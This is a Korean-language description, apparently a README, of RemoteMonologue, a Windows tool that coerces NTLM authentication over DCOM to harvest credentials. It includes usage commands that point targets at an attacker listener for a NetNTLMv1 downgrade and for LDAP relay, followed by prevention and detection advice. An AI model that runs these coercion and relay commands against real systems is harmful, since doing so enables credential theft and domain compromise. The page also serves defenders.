
NTLM 인증 강제를 위한 DCOM 무기화
RemoteMonologue는 대화형 사용자 RunAs 키를 활용하고 DCOM을 통해 NTLM 인증을 강제하여 원격 사용자를 손상시키는 Windows 자격 증명 수집 기법입니다.
자세한 내용은 X-Force Red의 RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions 문서를 참조하세요.
🔹 DCOM을 통한 인증 강제 (-dcom)
ServerDataCollectorSet, FileSystemImage, MSTSWebProxy, UpdateSession)를 대상으로 지정된 리스너(-auth-to)에 대한 NTLM 인증을 트리거합니다.🔹 자격 증명 스프레이 (-spray)
🔹 NetNTLMv1 다운그레이드 공격 (-downgrade)
🔹 WebClient 서비스 남용 (-webclient)
🔹 사용자 열거 (-query)
참고: 대상 시스템에 대한 로컬 관리자 권한이 필요합니다.
pip install impacket
다음은 Responder를 리스너로 사용하면서 NetNTLMv1 다운그레이드 공격을 수행하는 RemoteMonologue 실행 예시입니다. 기본적으로 DCOM 옵션이 지정되지 않으면 도구는 ServerDataCollectorSet DCOM 개체를 사용합니다.
RemoteMonologue.py domain/user:password@target -auth-to [listener IP] -downgrade

다음은 또 다른 예시로, FileSystemImage DCOM 개체를 사용하고 WebClient 서비스를 활성화하여 HTTP 인증을 얻은 다음 ntlmrelayx를 사용해 LDAP로 릴레이하는 공격입니다.
RemoteMonologue.py domain/user:password@target -auth-to [listener NETBIOS@PORT] -webclient -dcom FileSystemImage

이러한 기법으로부터 보호하고 탐지하기 위해 구현할 수 있는 몇 가지 예방 및 탐지 조치가 있습니다.
예방 조치:
LDAP 서명 및 채널 바인딩 활성화: 도메인 컨트롤러에서 LDAP 서명 적용 및 채널 바인딩을 구성하여 릴레이 공격으로부터 LDAP 엔드포인트를 보호합니다. 참고: 이러한 설정은 Windows Server 2025부터 기본적으로 적용됩니다.
최신 Windows 버전으로 업그레이드: 서버는 Windows Server 2025, 워크스테이션은 Windows 11 버전 24H2로 업그레이드하여 NetNTLM 다운그레이드 공격을 완화합니다. 이러한 버전에서는 NTLMv1이 제거되었습니다.
SMB 서명 적용: Windows 서버에서 SMB 서명을 활성화하고 적용하여 SMB 릴레이 공격을 방지합니다.
강력한 암호 정책 구현: 강력한 암호 요구 사항을 적용하여 암호 크래킹 공격을 더 어렵게 만듭니다.
탐지 기회:
DCOM 개체에 대한 원격 액세스 모니터링: 영향을 받는 DCOM 개체와 해당 특정 속성 및 메서드에 대한 액세스를 추적하여 비정상적인 활동을 식별합니다.
레지스트리 수정 모니터링: RunAs 및 LmCompatibilityLevel 레지스트리 키의 변경 사항을 모니터링합니다.
WebClient 서비스 활동 추적: WebClient 서비스가 원격으로 활성화되는 사례를 모니터링합니다. 이는 HTTP 기반 NTLM 인증을 용이하게 하는 데 사용됩니다.